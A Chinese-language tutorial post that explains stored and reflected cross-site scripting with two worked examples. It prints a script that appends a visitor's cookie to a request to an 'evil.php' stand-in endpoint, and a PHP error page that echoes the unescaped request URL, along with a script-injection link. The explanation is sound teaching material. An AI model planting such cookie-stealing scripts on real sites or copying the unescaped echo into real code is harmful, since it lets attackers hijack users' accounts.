1. 程式人生 > >web安全之 xss攻擊

web安全之 xss攻擊

  • xss攻擊的全稱是Cross-Site Scripting (XSS)攻擊,是一種注入式攻擊。基本的做法是把惡意程式碼注入到目標網站。由於瀏覽器在開啟目標網站的時候並不知道哪些指令碼是惡意的,所以瀏覽器會無差別執行惡意指令碼,從而導致使用者資訊和一些敏感資訊被盜取和洩漏。
  • xss一般分為兩種型別,持久化的xss和非持久化的xss。

1 持久化xss

下面這個例子演示了攻擊者如何通過注入惡意程式碼去盜取使用者的cookie的。

假設攻擊者在某個論壇發了個帖子,在帖子裡包含了如下的惡意程式碼

<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>

那麼其他使用者在瀏覽這個帖子的時候,上面的程式碼就會被瀏覽器執行,從而將使用者的cookie資訊傳送到了/evil.php?,這個攻擊者搭建的惡意站點。由於cookie裡包含了使用者的一些登入態和敏感資訊,所以訪問這個帖子的使用者會面臨被盜號的風險。

還原一下這次攻擊的過程:

攻擊者在論壇發了包含惡意程式碼的帖子
一般來說這個帖子的內容會儲存在資料庫裡(持久化)
攻擊者誘導其他使用者去訪問這個帖子
其他使用者訪問該帖子時網站後臺會從資料庫裡讀取帖子的內容併發送給瀏覽器
瀏覽器渲染帖子的內容時執行了惡意指令碼
惡意指令碼將使用者的cookie偷偷發送給惡意網站evil.php

2 非持久化的xss

上面的例子攻擊程式碼持久化在了資料庫裡,非持久化的攻擊則不需要這樣,看下面的例子。

假設我們有這樣的一個錯誤頁面,用php實現的

<html>
<body>

<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>

</body>
</html>

當用戶訪問的頁面不存在時候,上面的頁面會自動載入,並且print "Not found: " . urldecode($_SERVER[“REQUEST_URI”]);這一行會打印出不存在頁面的具體url。

舉個例子,當用戶訪問 www.example.com/page_missing 頁面時,由於page_missing頁面不存在,所以example.com會自動跳轉到page_missing路徑,並在頁面上打印出Not found: page_missing字串。

如果攻擊者構造了這樣一個連結,誘導使用者訪問http://wwww.example.com/<script>alert("TEST");</script>,那麼普通使用者訪問該連結時,因為 /<script>alert("TEST");</script> 會被列印在頁面上並當作普通指令碼執行,這樣一來,如果攻擊者構造的腳本里包含獲取使用者敏感資訊的程式碼,那麼使用者的資訊將被洩漏。

還原一下這次攻擊的過程:

攻擊者構造http://wwww.example.com/<script>alert("TEST");</script>連結,引誘普通使用者訪問
普通使用者訪問後,跳轉到錯誤頁面
錯誤頁面會執行惡意指令碼,造成使用者資訊洩漏

總結

xss攻擊是目前最常見的web攻擊形式,大家可以通過上面的例子管中窺豹一下,其核心的攻擊方式是惡意程式碼注入,瀏覽器將注入的程式碼當成普通指令碼正常執行